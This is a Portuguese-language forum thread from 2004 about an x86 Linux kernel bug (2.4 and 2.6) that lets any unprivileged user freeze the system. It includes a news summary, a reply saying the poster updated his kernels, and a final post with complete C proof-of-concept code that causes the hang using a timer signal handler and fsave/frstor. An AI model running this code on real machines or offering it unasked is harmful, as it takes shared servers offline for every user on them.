Código Pode Ser Usado Para Travar Kernel Do Linux

Sl4ck · 14 de junho de 2004

Código pode ser usado para travar kernel do Linux

Uma falha recém-descoberta permite que um simples programa em C (linguagem de programação) trave o kernel do Linux, bloqueando toda a atividade do sistema operacional. O bug atinge as versões do kernel desenvolvidas para a arquitetura x86, ou seja, usada por computadores equipados com processadores da AMD ou da Intel.

De acordo com o site "linuxreviews"versões afetadas são as 2.4.2.x e 2.6.x. O site diz ainda que alguns kernels não são vulneráveis, apesar de o motivo não ser conhecido.

A falha também chama a atenção pois pode ser ativada por qualquer usuário que tenha acesso à linha de comando do Linux. Ele não precisa ter privilégios de administrador.

O código tem sido usado para tirar do ar vários servidores. Correções para alguns kernels já foram liberadas e podem ser encontradas no "linuxreviews". Os usuários também podem aproveitar espaço para buscar mais informações.

<div class='bbimg'>http://www.gbenko.pro.br/eduardo/eyes.jpg' border='0' alt='Imagem postada pelo usuário' /></div>

CyberFOX · 15 de junho de 2004

acabei de atualizar meu atual kernel (2.6.0) e o meu kernel de testes (2.6.4), ambos do sistema reserva. os kernéis do Debian, do Slack, do Mandrake e do Kurumin eu ajeito outro dia

bigadaum cara!!

falou!!

Lovato · 16 de junho de 2004

Só para facilitar e documentar nesse fórum.. ;-)

O famoso código que trava tudo é:

  #include <sys/time.h>
  #include <signal.h>
  #include <unistd.h>
  
  static void Handler(int ignore)
  {
   char fpubuf[108];
   __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
   write(2, "*", 1);
   __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
  }
  
  int main(int argc, char *argv[])
  {
   struct itimerval spec;
   signal(SIGALRM, Handler);
   spec.it_interval.tv_sec=0;
   spec.it_interval.tv_usec=100;
   spec.it_value.tv_sec=0;
   spec.it_value.tv_usec=100;
   setitimer(ITIMER_REAL, &spec, NULL);
   while(1)
    write(1, ".", 1);
  
   return 0;
  }